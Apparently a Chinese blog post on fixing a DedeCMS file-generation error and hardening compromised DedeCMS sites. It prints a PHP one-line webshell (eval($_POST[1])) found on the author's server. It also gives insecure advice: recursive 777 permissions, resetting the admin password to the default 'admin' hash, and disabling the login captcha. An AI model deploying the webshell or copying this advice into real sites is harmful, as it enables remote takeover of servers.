首页 > 编程技术 > html

DedeTag Engine Create File False 织梦cms更新栏目出错解决办法

发布时间:2016-9-20 18:58

今天自己做一个dedecms 批量数据导入功能,由于数据时导入的没经过cms后台增加在更新时有些出现了DedeTag Engine Create File False的这个提示,下面我们来看看解决办法吧。

一、修改DEDECMS程序代码,让程序告诉我们具体的出错信息(鉴别是不是文件夹权限问题)

修改 include/dedetag.class.php文件,搜索”DedeTag Engine Create File False”,会找到下面的第一个代码修改为第二个代码。

 代码如下 复制代码

$fp = @fopen($filename,”w”) or die(”DedeTag Engine Create File False”);

$fp = @fopen($filename,”w”) or die(”DedeTag Engine Create File False:$filename”);
注:这第二段代码的作用,就是在创建文件时,告诉是哪个文件创建出了问题,例如我修改了,提示我的信息是:DedeTag Engine Create File False:/news/list-1-1.html,那我就知道,原来是news目录下的文件不能生成。

二、修改目录的权限为“777”

办法是把动过的文件夹以及里面的文件都设置为777属性,具体操作为:勾选文件夹,在底部属性修改位置填写777并选择递归。完成777属性的修改。注:通过FTP就可以修改。

通过这两步操作,我顺利的生成网站所有栏目文件,解决了:DedeTag Engine Create File False 的问题。


三,还有一种可能是栏目的栏目属性列表命名规则是不是默认的{typedir}/list{tid}{page}.html,查询资料知道{typedir}/之后不能在有“/”就是不能自己加深结构层次。如果自己不主动修改的话一般不会出现由列表命名规则引起的DedeTag Engine Create File False,


最后总结一下
常见的错误情况有,data目录没有写入权限,html静态文件目录没有写入权限,index.html首页静态文件没有写入权限。

结合我的网站被攻击已经别人类似的经历来看,黑客写入的文件主要存在于/plus/文件夹下,目前已知的几个文件包括ga.php、log.php、b.php、b1.php等,文件的特征便是短小,内容很少,可能写入的时候不是很方便,不过这些代码的作用确实不小的。

下面这是ga.php文件中的部分代码:

 代码如下 复制代码

 <title>login</title>no<?php
eval($_POST[1])
?>
<title>login</title>no<?php
eval($_POST[1])
?>
<title>login</title>no<?php
eval($_POST[1])
?>

  实际的代码比上面截取的要长,不过都是这段代码的重复,至于log.php的代码,同这个类似,只有一句话,简单明了,如果你对网络安全稍有了解,那么会知道是php一句话木马,使用部分指定的工具可以执行这段代码,预计是破解密码的功能。

  既然已经知道对方是利用什么样的漏洞,同时知道对方利用什么样的原理来利用漏洞,那么要怎么预防这些危险的事发生呢?经过查询大量的资料,我初步整理出下面这些预防漏洞被利用的步骤,希望对同样适用dedecms的站长朋友们有所帮助。

  一、升级版本打好补丁设置目录权限

  这是官方对此的解决办法,不管你使用的是什么版本的dedecms,都要及时在后台升级版本自动更新补丁,这是避免漏洞被利用的最重要的一步;同时官方还提供设置目录的方法,主要是设置data、templets、uploads、a为可读写不可执行权限;include、member、plus、后台管理目录等设置为可执行可读不可写入权限;删除install及special目录,具体如何设置见官方说明。

  二、修改admin账号及密码

  黑客可能是利用默认admin账号,随后推测密码来破解的,所以修改默认的admin账号非常重要,至于如何修改,方法很多,比较有效的是用phpadmin登陆网站数据库,找到dede_admin数据库表(dede是数据库表前缀),修改其中userid及pwd两项,其中密码一定要修改成f297a57a5a743894a0e4,这是默认的密码admin;修改后去后台登陆,登陆dede后台后修改密码。

  三、别的值得注意的地方

  至于更多的细节,同样要注意,尽量别选择太廉价的空间,太廉价的空间很容易出现服务器本身的安全问题,只要服务器出现问题,整个服务器下面的网站都没救了。还有便是,如果没必要,尽量别开通会员注册什么的,使用起来很麻烦;至于网站后台目录,不要写到robots.txt里面,同时每个月至少换一次,管理员密码什么的同样要更换,避免和别的账号密码相同被推测出来。

不少朋友在登陆DedeCMS后台的时候遇到验证码错误的问题,明明已经正确输入了,却提示错误,导致登录不进后台。如果遇到这个问题,可以通过下面的方法检测修复。

  1、空间满了。我遇到的验证码错误都是空间满了,如果也遇到验证码错误的问题,可以先检查是否空间满了。

  2、用ftp进入你的dedecms程序空间,把data/session目录下除index.htm外的其它session文件都删除,然后本地ie浏览器清除缓存。重新登录dedecms后台试试看。

  3、可以取消掉验证码,具体方法如下
  实现的方法一共分为两步来进行:
  打开 login.php 找到:

 代码如下 复制代码

 if($validate=='' || $validate != $svali)

  替换为:

 

 代码如下 复制代码
 if( false )

  然后,在模板dede/templets/login.htm里去掉以下验证码的具体HTML代码:

 代码如下 复制代码

 <li><span>验证码:</span>
           <input name="validate" type="text" id="vdcode” style="width:50px;text-transform:uppercase;" />
           <img id="vdimgck"" width=100% src="../include/vdimgck.php" alt="看不清?点击更换" align="absmiddle" style="cursor:pointer" onclick="this.src=this.src+'?'" />
</li>

标签:[!--infotagslink--]

您可能感兴趣的文章: